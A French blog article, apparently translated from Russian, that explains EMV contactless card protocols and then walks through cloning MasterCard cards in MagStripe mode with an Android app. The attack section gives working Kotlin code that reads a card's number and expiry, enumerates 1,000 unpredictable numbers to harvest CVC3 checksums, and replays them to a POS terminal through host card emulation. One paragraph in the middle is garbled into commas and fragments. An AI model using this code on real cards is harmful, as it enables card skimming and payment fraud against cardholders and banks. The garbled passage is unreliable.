Clonez une carte sans contact à l'aide d'une application mobile

Il a toujours été intéressant de voir ce qui se passe sur une carte bancaire sous le «capot». Comment le protocole de communication d'une carte bancaire et d'un terminal PDV est mis en œuvre, comment il fonctionne et comment il est sûr. Une telle opportunité s'est présentée à moi lorsque je faisais un stage chez Digital Security. En conséquence, lors de l'analyse d'une vulnérabilité connue des cartes EMV en mode MagStripe, il a été décidé de mettre en œuvre une application mobile capable de communiquer avec le terminal via une interface sans contact, en utilisant ses propres commandes et une analyse détaillée des demandes et des réponses. Et essayez également d'implémenter la méthode de clonage des cartes MasterCard en mode MagStripe.

Dans cet article, je vais essayer de décrire ce qu'est une carte EMV, comment elle fonctionne et comment en utilisant Android, vous pouvez essayer de cloner votre carte MasterCard.

"Il y a des choses que l'argent ne peut pas acheter. Pour tout le reste, il y a MasterCard »

Qu'est-ce qu'une carte EMV?

EMV est la norme internationale pour les cartes bancaires à puce. E uropay + M asterCard + V ISA a participé au développement de cette norme, d'où le nom. Essayons de comprendre comment la carte communique avec le terminal POS via une interface sans contact.

Commençons par les bases.

Une carte physique sans contact EMV fonctionne presque comme une étiquette RFID. Si elle est basique, la puce entre dans le champ électromagnétique, et dans un circuit conducteur fermé (dans notre cas ce sera une antenne située autour du périmètre), placée dans un champ magnétique alternatif, un courant électrique alternatif est généré. Ce courant charge un condensateur spécial connecté en parallèle au circuit résonnant de la carte. L'énergie stockée dans le condensateur est utilisée pour réaliser une carte à microcircuit pour diverses opérations. Lorsque le lecteur modifie le champ électromagnétique, les modifications seront immédiatement visibles sur la puce. En utilisant la modulation du signal, nous pouvons transmettre des informations sous forme binaire. Si vous connectez la résistance de charge sur la carte et / ou modifiez la capacité du condensateur, vous pouvez modifier l'intensité du courant dans le circuit de la carte, ce qui entraînera une modification du champ électromagnétique créé par celle-ci dans la région du circuit du lecteur, donc la carte transmet des données. Le lecteur devra détecter ces changements. Cette interaction physique est régie par la norme ISO / CEI 14443 «Cartes d'identification - Cartes à circuits intégrés sans contact - Cartes de proximité» .

La puce de carte elle-même est une carte à puce qui exécute JavaCard, une version distincte de Java pour les plates-formes à faibles ressources informatiques et prenant en charge les algorithmes cryptographiques. JavaCard télécharge des applets, qui sont des applications. Il existe également une GlobalPlatform est un certain standard pour JavaCard, qui offre la possibilité de gérer en toute sécurité les données sur la carte et vous permet de télécharger, modifier et supprimer des applications sur la carte. Dans cet article, nous ne considérerons pas les mécanismes de sécurité de la carte à puce elle-même. Il suffit de savoir que les données protégées, par exemple la clé privée et la clé principale secrète de la carte, sont en lieu sûr et il est impossible de les supprimer à l'aide de moyens standards.

Je vous rappelle également une petite terminologie pour ceux qui ne sont pas familiers.

POS-terminal (Point of Sale) - appareil d'un vendeur qui lit une carte et initie un paiement. De plus, nous appellerons cet appareil simplement un terminal.
La banque émettrice est la banque qui a émis votre carte.
Acquirer Bank - une banque qui émet des terminaux de point de vente aux vendeurs et traite les paiements de leur part.
Le système de paiement est le lien central entre la banque acquéreuse et la banque émettrice, absolument tous les paiements passent par celui-ci, et il sait quelle banque doit transférer de l'argent. Il existe de nombreux systèmes de paiement dans le monde, outre les célèbres Visa et MasterCard, il existe également American Express , China UnionPay et le système de paiement russe MIR .

Eh bien, la carte et le lecteur peuvent communiquer. Ils s'envoient mutuellement des commandes APDU sous forme de Tag-Length-Value i.e. le nom de la balise est transmis en hexadécimal, sa longueur et sa valeur elle-même. Toutes les commandes sont bien sûr décrites dans la documentation et ressemblent à ceci:



La transaction EMV standard se déroule en plusieurs étapes, je décrirai l'algorithme d'interaction complet dans le cas d'une interface de contact, pour une interface sans contact l'algorithme est quelque peu raccourci:

• Sélection d'application;
• Initialisation du traitement des demandes;
• Lecture des données d'application
• Authentification hors ligne
• Contraintes de traitement;
• Chèque du titulaire de la carte;
• Gestion des risques du côté du terminal;
• Analyse des actions terminales;
• Gestion des risques côté carte;
• Analyse des actions de la carte;
• Traitement en ligne;
• L'achèvement de l'opération.

Nous considérons brièvement chaque opération.

Sélection d'application. Il arrive souvent qu'il puisse y avoir plusieurs applications sur une même carte. Par exemple, une carte bancaire et un billet de voyage. Et le terminal doit en quelque sorte déterminer où et quel algorithme utiliser. Le soi-disant identifiant d'application (AID ) est utilisé pour sélectionner une application. Pour comprendre cela, le terminal envoie une commande SELECT . Par exemple, l' AID de la carte Visa Classic ressemblera à ceci: A0000000031010 . Si plusieurs de ces codes viennent en réponse et que le terminal peut fonctionner avec plusieurs applications, le terminal affichera une liste et proposera de sélectionner l'application dont nous avons besoin. Si le terminal ne prend en charge aucun des codes d'application, l'opération sera rejetée par le terminal.

Initialisation du traitement des demandes. Ici, l'emplacement géographique est d'abord vérifié. Par exemple, les cartes Maestro Momentum ne peuvent être payées qu'en Russie. Cette étape est réalisée afin de donner aux émetteurs la possibilité d'appliquer les méthodes de gestion des risques en ligne existantes lors de la conduite d'opérations hors ligne. A ce stade, une transaction EMV peut être annulée à l'initiative de la carte elle-même si ce type de transaction est interdit par l'émetteur dans un pays donné du monde. De plus, la carte transmet au terminal un ensemble d'informations spécialement structurées contenant une description de la fonctionnalité de la carte et de l'application.

Lisez les données d'application. Diverses données de carte nécessaires à la transaction sont transmises au terminal, par exemple le numéro de carte, la date d'expiration, le compteur de transactions et de nombreuses autres données. Certains d'entre eux seront discutés plus tard.

Exemples de données:



Un certificat de la clé publique de la banque émettrice et de la carte elle-même est également transmis. Afin que le terminal puisse vérifier la signature numérique de certaines données de carte, l' infrastructure PKI (Public Key Infrastructure) est utilisée. En bref, le système de paiement a une paire de clés - publique et privée, et le système de paiement est pour tous les participants de l' AC (Autorité centrale) . En effet, le système de paiement de chaque banque de l'émetteur émet une nouvelle paire de clés, et génère en même temps un certificat de la clé publique de la banque de l'émetteur, le signant avec la clé privée CA. En outre, lorsque la banque émet une nouvelle carte, elle génère en conséquence une paire de clés pour la carte et génère également un certificat de la clé publique de la carte, la signant à l'aide de la clé privée de la banque. Dans les terminaux, un certificat de clé publique est généralement câblé pour différents systèmes de paiement. Ainsi, lorsque la carte transmet le certificat de clé publique de la banque émettrice et le certificat de carte lui-même, le terminal peut facilement contrôler toute la chaîne à l'aide de la clé publique du système de paiement. Le terminal, à l'aide de la clé publique du système de paiement, vérifie d'abord l'authenticité du certificat bancaire de l'émetteur, s'il est authentique, il peut alors être fiable et maintenant, en utilisant le certificat bancaire de l'émetteur, vous pouvez vérifier le certificat de la carte elle-même. Plus de détails dans l'article sur la sécurité EMV .

Authentification hors ligne. Le terminal détermine le type de méthode d'authentification hors ligne prise en charge. Il existe des statiques ( authentification des données statiques - SDA ), dynamiques ( authentification des données dynamiques - DDA ) et combinées ( authentification des données combinées - CDA ). Ces méthodes sont également basées sur PKI. SDA est juste des données signées sur la clé privée de la banque de l'émetteur, DDA - le terminal envoie un numéro aléatoire et la carte doit le signer en utilisant sa clé privée, et le terminal vérifiera cette signature en utilisant le certificat de carte reçu précédemment, de sorte que le terminal s'assurera que la carte a vraiment une clé privée - elle est donc authentique. L'ADC n'est qu'une combinaison des deux.

Restrictions de manipulation. Ici, le terminal vérifie les données précédemment reçues de la carte pour la condition d'aptitude à cette opération. Par exemple, il vérifie les dates de début / fin de la date d' expiration de l'application (balise '5F24') et la date d'entrée en vigueur de l'application (balise '5F25') . Il vérifie également la version de l'application. Les résultats des opérations réalisées à ce stade sont également enregistrés dans le rapport TVR (Résultats de la vérification des terminaux) . Sur la base des résultats de cette étape, la transaction ne peut pas être annulée, même si, par exemple, l'application a expiré.

Chèque du titulaire de la carte. La vérification du titulaire de la carte est effectuée afin d'authentifier la personne qui a fourni la carte et de vérifier s'il est le véritable propriétaire de la carte. La norme EMV fournit diverses méthodes de vérification du titulaire de carte . Les méthodes de vérification sont définies à la fois sur le terminal et sur la carte. Ils sont contenus dans les listes dites CVM . En cours d'exécution, le terminal et la carte comparent les listes CVM reçues et sélectionnent la méthode de vérification générale.

Liste des méthodes de vérification prises en charge:

• Aucun CVM requis ('011111'b);
• Échec du traitement CVM ('000000'b);
• Signature («011110» b);
• PIN crypté vérifié en ligne ('000010'b);
• Vérification du code PIN en texte clair effectuée par ICC ('000001'b);
• Vérification du code PIN en clair effectuée par ICC et signature ('000011'b);
• Vérification du code PIN chiffré effectuée par ICC ('000100'b);
• Vérification du code PIN chiffré effectuée par ICC et signature ('000101'b).

Ici, il y a aussi des informations intéressantes à ce sujet.

Gestion des risques du côté du terminal. À ce stade, le terminal effectue une vérification interne des paramètres de transaction, sur la base des paramètres de gestion des risques de la banque acquéreuse. Les procédures de gestion des risques peuvent être effectuées par le terminal à tout moment entre l'achèvement du processus de lecture des données de la carte et la formation de la première commande GENERATE AC par le terminal. La gestion des risques côté terminal comprend trois mécanismes:

• contrôle de la taille des opérations effectuées sur la carte ( Floor Limit Checking );
• sélection aléatoire de transactions pour l'autorisation en ligne de cette transaction par l'émetteur ( Random Transaction Selection );
• vérification de l'activité hors ligne de l'utilisation de la carte ( Velocity Checking ).

Analyse des actions terminales. A ce stade, le terminal analyse les résultats des étapes précédentes de la transaction. Sur la base des résultats de l'analyse, le terminal décide s'il doit mener l'opération en ligne, autoriser sa réalisation hors ligne ou rejeter l'opération.

Gestion des risques côté carte. La carte, après avoir reçu de la commande GENERATE AC des données sur la transaction, le terminal et les résultats des vérifications du terminal, à son tour, exécute ses propres procédures de gestion des risques et prend sa propre décision sur la façon de terminer l'opération.

Analyse des actions de la carte. À ce stade, la carte termine les procédures de gestion des risques et génère un cryptogramme de réponse au terminal. Si la carte décide d'approuver la transaction, un certificat de transaction est généré. Si la carte décide d'effectuer l'opération en temps réel, elle génère alors un ARQC (Authorization Request Cryptogram) . Si la carte utilise d'autres méthodes d'autorisation, le renvoi d'autorisation d'application est utilisé . Dans le cas où la carte rejette la transaction, alors Cryptogramme d'authentification d'application .

Un autre cryptogramme ARPC (Authorization Response Cryptogram) est nécessaire pour authentifier l'émetteur. L'émetteur génère un cryptogramme ARPC et envoie le cryptogramme à la carte, si la carte confirme le cryptogramme, alors l'émetteur est authentifié par la carte.

Un peu sur la sécurité des clés et l'authentification mutuelle de la carte et de l'émetteur du livre de I. M. Goldovsky:

L'authentification mutuelle signifie que la carte et le terminal s'authentifient mutuellement en utilisant l'authentification des cryptogrammes ARQC et ARPC. Les cryptogrammes sont des données générées à l'aide d'une clé secrète (connue de la carte et de la banque de l'émetteur), du numéro de transaction, du nombre aléatoire généré par le terminal, ainsi que de certains détails de la transaction, du terminal et de la carte. Dans le cas d'ARPC, le code de réponse d'autorisation de l'émetteur est également ajouté aux données répertoriées. Sans connaître la clé secrète de la carte pour générer un cryptogramme, il est impossible de calculer les valeurs ARQC / ARPC pour le temps prévisible avec le niveau de technologie actuel, et donc le fait de leur vérification réussie indique l'authenticité de la carte et de l'émetteur. L'authentification en ligne est le moyen le plus fiable d'authentifier une carte. Cela est dû au fait qu'elle est réalisée directement par l'émetteur, sans intermédiaire sous la forme d'un terminal. De plus, l'algorithme 3DES avec une clé temporaire de 112 bits est utilisé pour l'authentification en ligne, dont la force cryptographique correspond à la force cryptographique de l'algorithme RSA avec la longueur du module de clé asymétrique utilisée pour l'authentification hors ligne de l'application de carte dépassant 1700 bits. L'utilisation de clés asymétriques de cette longueur sur la carte est encore assez rare. Généralement, des clés d'une longueur de module de 1024, 1152 ou 1408 bits sont utilisées.

Au final, une transaction en ligne passe par une chaîne:
Carte <--> POS-Terminal <--> Acquisition bancaire <--> Système de paiement <--> Émetteur bancaire.

Clone MasterCard en mode MagStripe

Nous passons directement au principe du clonage. Cette méthode d'attaque par carte sans contact a été publiée par deux chercheurs Michael Roland, Josef Langer de l'Université d'Autriche. Il est basé sur un principe général appelé écrémage . C'est un tel scénario dans lequel un attaquant vole de l'argent d'une carte bancaire en lisant (copiant) les informations de cette carte. Dans le cas général, il est important de garder le PIN secret et de ne pas le divulguer. Mais dans la méthode des gars autrichiens, nous n'avons pas besoin de le savoir. Le clonage d'une carte de paiement est réussi pour la version noyau de l'application EMV Contactless Kernel 2. La version de ce protocole prend en charge deux modes de fonctionnement pour les cartes sans contact: le protocole EMV (MasterCard PayPass M / Chip) et MagStripe (MasterCard PayPass MagStripe) .

MagStripe est un mode de support de carte à bande magnétique. Ce mode est implémenté sur les cartes MasterCard avec une interface sans contact. Le mode MagStripe est très probablement nécessaire pour les banques qui ont du mal à transférer toute l'infrastructure pour prendre en charge les transactions EMV sans contact sur puce. Soit dit en passant, les cartes Visa ont également un mode de fonctionnement similaire - PayWave MSD (Magnetic Stripe Data) .

Le processus de traitement des transactions pour les cartes sans contact est tronqué par rapport aux cartes à puce et fonctionne généralement dans le mode suivant:

1. Le terminal envoie une commande SELECT PPSE (Proximity Payment System Environment). La carte envoie une liste des applications prises en charge.
2. Le terminal envoie une commande SELECT . En réponse, il reçoit les détails de la demande nécessaires.
3. Le terminal envoie la commande GET_PROCESSING_OPTIONS . La carte répond au type d'authentification qu'elle prend en charge et s'il existe une vérification du titulaire de la carte.
4. Le terminal envoie la commande READ_RECORDS . La carte en réponse envoie Track1 et Track2 presque la même que celle enregistrée sur la bande magnétique de la carte.
5. Le terminal envoie la commande COMPUTE_CRYPTOGRAPHIC_CHECKSUM . Ce qui signifie que la carte doit générer une valeur CVC3 basée sur le nombre imprévisible transmis.

La carte prend en charge la commande spéciale COMPUTE CRYPTOGRAPHIC CHECKSUM, dont l'argument correspond aux données définies dans l'objet de données de nombre imprévisible (UDOL). En conséquence, la carte utilisant l'algorithme 3DES et la clé secrète calcule la valeur dynamique CVC3 (Card Verification Code). Comme argument de la fonction 3DES, la concaténation des données UDOL et le compteur de transactions (Application Transaction Counter, ATC) sont utilisés. Ainsi, la valeur de CVC3 dépend toujours des objets UN et ATC.

En d'autres termes, cette commande est nécessaire pour que la carte génère une certaine «signature» afin que l'émetteur puisse vérifier la carte. Cependant, la signature de la transaction elle-même manque dans cette signature. La signature contient des valeurs ATC - 2 octets , CVC3 (Track1) - 2 octets , CVC3 (Track2) - 2 octets , qui sont générées par la carte sur la base de la clé secrète, que la banque émettrice et le compteur de transactions (ATC) connaissent également. Dans le même temps, pour générer la signature, le terminal de point de vente informe la carte UN (Numéro imprévisible) - 4 octets, qui est également utilisée dans la génération de la signature. Un nombre imprévisible empêche la génération de codes d'authentification sur une vraie carte pour une utilisation ultérieure dans des transactions frauduleuses. Pour l'attaque, l'ONU interfère fortement avec nous, car il n'est pas possible d'énumérer 4 octets sans dépasser les limites du compteur de transactions. Cependant, il y a quelques faiblesses dans la spécification de ceci.

Premièrement, la spécification limite l'ONU au codage des nombres, à savoir le code décimal binaire (BCD) , ce qui signifie essentiellement que si nous regardons un tel nombre codé dans HEX, nous ne verrons que les nombres de 0 à 9, toutes les autres valeurs sont prises en compte comme interdit. Ainsi, le montant des Nations Unies passe de 4 294 967 295 à 99 999 999.

Deuxièmement, le nombre de chiffres UN significatifs est déterminé par la carte. Ainsi, selon les paramètres spéciaux des pistes, le nombre de chiffres dans l'ONU peut aller de 10 à 10 000, selon le type de carte, en pratique, 1000 valeurs sont le plus souvent trouvées.

Ainsi, le plan d'attaque est le suivant:

1. Nous lisons la carte et découvrons le nombre de chiffres significatifs de l'ONU, que le terminal fournira
2. Nous trions tous les UN, obtenons toutes les valeurs possibles de la fonction COMPUTE_CRYPTOGRAHIC_CHECKSUM , les sauvegardons dans le tableau correspondant avec le mapping UN -> Résultat
3. Nous l'apportons au terminal POS, nous découvrons le numéro que le terminal POS demande.
4. Nous sélectionnons le résultat souhaité dans le tableau et le substituons en réponse au terminal.
5. La transaction s'en va.
6. PROFIT. Mais le succès de l'approbation de la transaction n'est pas garanti, car la banque émettrice peut rejeter une telle transaction.

Il convient également de noter que le compteur de transactions (ATC) empêche la réutilisation des codes d'authentification précédemment utilisés, ce qui signifie que si nous avons utilisé cette attaque, nous devons recopier la carte, car le compteur de transactions a déjà été utilisé pour obtenir des informations et a été utilisé dans la signature, ce qui signifie que si nous avions un compteur de transactions de 1000, et après avoir envoyé la transaction à la banque, la banque n'acceptera plus les transactions avec un compteur inférieur à <1001. , 2 , , 65 , .

. , COMPUTE_CRYPTOGRAPHIC_CHECKSUM . CVC3 , SELECT , GET_PROCESSING_OPTIONS , COMPUTE_CRYPTOGRACHIC_CHECKSUM . CVC3. , 1000 Google Galaxy Nexus S .

Terminal Simulator MasterCard. NFC- . . POS- . , .



NFC ACR122 .



. Kotlin Android. .

data class Command( var CLA: String = 0x00.toString(), var INS: String = 0x00.toString(), var P1: String = "", var P2: String = "", var Lc: String = "", var Nc: String = "", var Le: String = "", var Nr: String = "", var SW1WS2: String = "" ) { fun split(): ByteArray { return getHexString().hexToByteArray() } fun getHexString() = CLA.plus(INS).plus(P1).plus(P2).plus(Lc).plus(Nc).plus(Le).plus(Nr).plus(SW1WS2) } 

Tout d'abord, nous devons configurer le travail avec NFC. Au téléphone, nous pouvons travailler en deux modes. En mode carte, c'est lorsque nous répondons aux commandes du terminal, et en mode terminal lorsque nous envoyons des commandes et lisons, par exemple, une carte. C'est-à-dire tout d'abord, nous pouvons cloner la carte, puis nous assurer que nous répondons aux demandes du terminal avec des commandes déjà préparées.

Voici une implémentation simplifiée de l'interaction avec NFC:

  private var nfcAdapter: NfcAdapter? = null /*!< represents the local NFC adapter */ private var tag: Tag? = null /*!< represents an NFC tag that has been discovered */ private lateinit var tagcomm: IsoDep /*!< provides access to ISO-DEP (ISO 14443-4) */ private val nfctechfilter = arrayOf(arrayOf(NfcA::class.java.name)) /*!< NFC tech lists */ private var nfcintent: PendingIntent? = null .... override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) nfcAdapter = NfcAdapter.getDefaultAdapter(this) nfcintent = PendingIntent.getActivity(this, 0, Intent(this, javaClass).addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0) cardEmulation = CardEmulation.getInstance(nfcAdapter) nfcAdapter?.enableForegroundDispatch(this, nfcintent, null, nfctechfilter) } .... override fun onNewIntent(intent: Intent) { super.onNewIntent(intent) tag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG) cardReading(tag) } ..... override fun onResume() { super.onResume() if (canSetPreferredCardEmulationService()) { this.cardEmulation?.setPreferredService(this, ComponentName(this, "com.nooan.cardpaypasspass.NfcService")); } } override fun onPause() { if (canSetPreferredCardEmulationService()) { this.cardEmulation?.unsetPreferredService(this) } super.onPause() } private fun cardReading(tag: Tag?) { tagcomm = IsoDep.get(tag) try { tagcomm.connect() } catch (e: IOException) { error = "Reading card data ... Error tagcomm: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } try { when { commands != null -> readCardWithOurCommands() mChip -> readCardMChip() else -> readCardMagStripe() } } catch (e: IOException) { error = "Reading card data ... Error tranceive: " + e.message Toast.makeText(applicationContext, error, Toast.LENGTH_SHORT).show() return } finally { tagcomm.close() } } protected fun execute(command: Command, log:Boolean): ByteArray { val bytes = command.split() listLogs.add(bytes.toHex()) val recv = tagcomm.transceive(bytes) listLogs.add(recv.toHex()) return recv } 

Ceci décrit la séquence de commandes et énumère les valeurs de Nombre imprévisible dans un cycle de 0 à 999, nous changeons Nc en "00000 $ {String.format ("% 03d ", i)}". Remplacez (".. (?! $ ) ". toRegex ()," $ 0 "). Et n'oubliez pas d'exécuter GET_PROCESSING_OPTIONS à chaque fois avant COMPUTE_CRYPTOGRAPHIC_CHECKSUM sinon le montant du chèque ne sera pas calculé.

En conséquence, tout cela peut être écrit dans un fichier et déjà utilisé lorsque vous travaillez avec ce terminal. Ici, nous obtenons le nom et le numéro de carte, nous pouvons l'afficher à l'écran.

  private fun readCardMagStripe() { try { var response = execute(Commands.SELECT_PPSE) //       val select = Commands.SELECT_APPLICATION.apply { Nc = response.toHex().substring(52, 68) SW1WS2 = "00" } val cardtype: String = getTypeCard(select.split()) execute(select) execute(Commands.GET_PROCESSING_OPTIONS) response = execute(Commands.READ_RECORD_1.apply { P2 = "0C" Lc = "00" Le = "" Nc = "" }) if (cardtype === "MasterCard") { cardnumber = "Card number: ${response.getCards()}" cardexpiration = "Card expiration: ${response.getExpired()}" showData() for (i in 0..999) { execute(Commands.GET_PROCESSING_OPTIONS, false) execute(Commands.COMPUTE_CRYPTOGRAPHIC_CHECKSUM.apply { Lc = "04" Nc = "00000${String.format("%03d", i)}".replace("..(?!$)".toRegex(), "$0 ") }) } } finishRead() } 

Un ensemble de commandes dont nous avons besoin.

 object Commands { val SELECT_PPSE = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Lc = "0E", Nc = "32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00") val SELECT_APPLICATION = Command(CLA = "00", INS = "A4", P1 = "04", P2 = "00", Nc = "07") val GET_PROCESSING_OPTIONS = Command(CLA = "80", INS = "A8", P1 = "00", P2 = "00", Lc = "02", Nc = "83 00", Le = "00") val READ_RECORD_1 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "14", Lc = "00", Le = "00") val READ_RECORD_2 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "1C", Lc = "00", Le = "00") val READ_RECORD_3 = Command(CLA = "00", INS = "B2", P1 = "01", P2 = "24", Lc = "00", Le = "00") val READ_RECORD_4 = Command(CLA = "00", INS = "B2", P1 = "02", P2 = "24", Lc = "00", Le = "00") val COMPUTE_CRYPTOGRAPHIC_CHECKSUM = Command(CLA = "80", INS = "2A", P1 = "8E", P2 = "80", Le = "00") } 

Pour implémenter l'écoute électronique des commandes à partir du terminal, vous devez démarrer votre service et le déclarer dans le manifeste. Dans ce service, une commande du terminal vient à processCommandApdu, nous la comparons avec celle qui est stockée dans le fichier, et donnons la réponse, qui est écrite dans la ligne suivante.

  <service android:name=".NfcService" android:exported="true" android:permission="android.permission.BIND_NFC_SERVICE"> <intent-filter> <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/apdu_config" /> </service> 

 class NfcService : HostApduService() { fun getData(context: Context?): List<Command> { var list: List<Command> = arrayListOf() filePath?.let { if (it.isNotBlank()) { list = getCommands(Uri.fromFile(File(it)).readTextFromUri(context), this::showError) } else { Toast.makeText(applicationContext, "Not found file path", Toast.LENGTH_SHORT).show() } } return list } private var commands: List<Command>? = arrayListOf() override fun processCommandApdu(apdu: ByteArray?, bundle: Bundle?): ByteArray { commands = getData(applicationContext) commands?.forEachIndexed { i, command -> if (apdu.toHex() == command.getHexString()) { return commands!![i+1].split() } } Log.e("LOG", "Finnish") return Value.magStripModeEmulated.hexToByteArray() } 

Quelques captures d'écran de l'application. Nous lisons la carte et le journal de parcimonie:



Ainsi, il est possible de simuler le fonctionnement d'une carte EMV sans contact sur un téléphone avec des données de carte. Mais heureusement ou malheureusement pour quelqu'un, cette attaque ne fonctionne pas en Russie. Selon nos expériences, la transaction a tout le temps atteint la banque de l'émetteur et a été rejetée par la banque elle-même. De plus, nous n'avons pas pu effectuer de transaction hors ligne à l'aide de MagStripe. Cependant, une telle attaque pourrait bien être mise en œuvre dans d'autres pays où l'utilisation du mode MagStripe est assez courante et l'algorithme de gestion des risques est légèrement différent, par exemple, aux États-Unis.

Liens avec l'aide de cet article

Cartes à microprocesseur bancaires / I.M. Goldovsky - M .: TsIPSiR: Alpina Pub Lakers, 2010 .-- 686 p.
Projet EMV: étape par étape
Recherche de chercheurs autrichiens
Lien vers le code d'application
Terminal Simulator.

Merci à barracud4 de m'avoir aidé à préparer cet article.